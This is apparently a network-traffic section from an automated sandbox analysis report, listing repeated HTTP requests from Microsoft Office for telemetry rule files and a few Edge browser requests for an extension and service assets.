Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
